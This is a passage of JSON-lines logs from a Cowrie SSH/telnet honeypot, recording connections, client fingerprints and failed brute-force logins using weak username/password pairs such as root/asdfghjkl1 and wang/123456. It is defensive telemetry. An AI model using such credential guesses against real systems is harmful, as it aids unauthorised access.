ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:56.493953Z","src_ip":"31.40.204.166","session":"7cbf35d776a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:57.113704Z","src_ip":"31.40.204.166","session":"7cbf35d776a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:58.496061Z","src_ip":"31.40.204.166","session":"7cbf35d776a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48186,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b8b281bf6d7","protocol":"telnet","message":"New connection: 152.42.224.71:48186 (10.17.0.5:23) [session: 0b8b281bf6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:58.819628Z"}
{"eventid":"cowrie.session.closed","duration":49.210755586624146,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:14:59.281291Z","src_ip":"152.42.224.71","session":"96bffece168c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.75341796875,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:01.559088Z","src_ip":"152.42.224.71","session":"3dfbffc2d5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.887006998062134,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:03.066106Z","src_ip":"152.42.224.71","session":"3c73e2959bb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.603684186935425,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:07.656423Z","src_ip":"152.42.224.71","session":"dbf4918e0216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60636,"dst_ip":"159.203.135.109","dst_port":22,"session":"3656a8631959","protocol":"ssh","message":"New connection: 31.40.204.166:60636 (159.203.135.109:22) [session: 3656a8631959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:07.899815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:07.911330Z","src_ip":"31.40.204.166","session":"3656a8631959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:08.082495Z","src_ip":"31.40.204.166","session":"3656a8631959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:08.890770Z","src_ip":"31.40.204.166","session":"3656a8631959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44524,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94d29c84535","protocol":"telnet","message":"New connection: 152.42.224.71:44524 (10.17.0.5:23) [session: c94d29c84535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:09.528101Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:10.020024Z","src_ip":"31.40.204.166","session":"3656a8631959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c83335afcd","protocol":"telnet","message":"New connection: 152.42.224.71:44538 (10.17.0.5:23) [session: a1c83335afcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:12.860808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44530,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85568a0d303","protocol":"telnet","message":"New connection: 152.42.224.71:44530 (10.17.0.5:23) [session: f85568a0d303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:13.050350Z"}
{"eventid":"cowrie.session.closed","duration":53.466383934020996,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:16.589517Z","src_ip":"152.42.224.71","session":"9e38c533c47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41162,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc72330c7d20","protocol":"telnet","message":"New connection: 152.42.224.71:41162 (10.17.0.5:23) [session: dc72330c7d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:18.648653Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59140,"dst_ip":"159.203.135.109","dst_port":22,"session":"239fe7ae0973","protocol":"ssh","message":"New connection: 31.40.204.166:59140 (159.203.135.109:22) [session: 239fe7ae0973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:19.310781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:19.325981Z","src_ip":"31.40.204.166","session":"239fe7ae0973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:19.481816Z","src_ip":"31.40.204.166","session":"239fe7ae0973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:20.005466Z","src_ip":"31.40.204.166","session":"239fe7ae0973","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:21.145898Z","src_ip":"47.237.167.49","session":"e9a62f10a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:21.188282Z","src_ip":"31.40.204.166","session":"239fe7ae0973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:22.059553Z","src_ip":"47.237.167.49","session":"e9a62f10a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41172,"dst_ip":"10.17.0.5","dst_port":23,"session":"01bc2b6c888f","protocol":"telnet","message":"New connection: 152.42.224.71:41172 (10.17.0.5:23) [session: 01bc2b6c888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:22.390105Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a1a033b1c74","protocol":"ssh","message":"New connection: 103.77.242.62:51628 (10.17.0.5:22) [session: 4a1a033b1c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:23.201746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:23.206573Z","src_ip":"103.77.242.62","session":"4a1a033b1c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:23.445219Z","src_ip":"103.77.242.62","session":"4a1a033b1c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl1","message":"login attempt [root/asdfghjkl1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:24.160181Z","src_ip":"103.77.242.62","session":"4a1a033b1c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:25.410202Z","src_ip":"103.77.242.62","session":"4a1a033b1c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42476,"dst_ip":"10.17.0.5","dst_port":23,"session":"2db7e86e0b7f","protocol":"telnet","message":"New connection: 152.42.224.71:42476 (10.17.0.5:23) [session: 2db7e86e0b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:28.152046Z"}
{"eventid":"cowrie.session.closed","duration":46.042256355285645,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:29.097455Z","src_ip":"152.42.224.71","session":"02e0ae440ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50632,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9aca5550ad","protocol":"ssh","message":"New connection: 31.40.204.166:50632 (159.203.135.109:22) [session: aa9aca5550ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:30.019605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:30.203983Z","src_ip":"31.40.204.166","session":"aa9aca5550ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:30.208877Z","src_ip":"31.40.204.166","session":"aa9aca5550ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:30.886219Z","src_ip":"31.40.204.166","session":"aa9aca5550ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:32.024633Z","src_ip":"31.40.204.166","session":"aa9aca5550ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:38.389308Z","src_ip":"47.237.167.49","session":"e9a62f10a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.48385572433472,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:39.303359Z","src_ip":"152.42.224.71","session":"0b8b281bf6d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38994,"dst_ip":"10.17.0.5","dst_port":23,"session":"642c0a3328e5","protocol":"telnet","message":"New connection: 152.42.224.71:38994 (10.17.0.5:23) [session: 642c0a3328e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:40.543341Z"}
{"eventid":"cowrie.session.closed","duration":"47.5","message":"Connection lost after 47.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:40.708344Z","src_ip":"47.237.167.49","session":"e9a62f10a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37364,"dst_ip":"159.203.135.109","dst_port":22,"session":"b25a758aa5aa","protocol":"ssh","message":"New connection: 31.40.204.166:37364 (159.203.135.109:22) [session: b25a758aa5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:41.781450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:41.792177Z","src_ip":"31.40.204.166","session":"b25a758aa5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.413870096206665,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:41.803842Z","src_ip":"152.42.224.71","session":"01bc2b6c888f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:41.912026Z","src_ip":"31.40.204.166","session":"b25a758aa5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.18706154823303,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:42.077380Z","src_ip":"152.42.224.71","session":"086ee3002a2b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:42.506918Z","src_ip":"31.40.204.166","session":"b25a758aa5aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.315844297409058,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:42.964377Z","src_ip":"152.42.224.71","session":"dc72330c7d20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:43.682385Z","src_ip":"31.40.204.166","session":"b25a758aa5aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39002,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2dd0e242350","protocol":"telnet","message":"New connection: 152.42.224.71:39002 (10.17.0.5:23) [session: e2dd0e242350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:46.708278Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34256,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c7b8bf9128d","protocol":"telnet","message":"New connection: 152.42.224.71:34256 (10.17.0.5:23) [session: 0c7b8bf9128d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:47.143955Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"9325238ac2ce","protocol":"telnet","message":"New connection: 152.42.224.71:34260 (10.17.0.5:23) [session: 9325238ac2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:15:47.191949Z"}
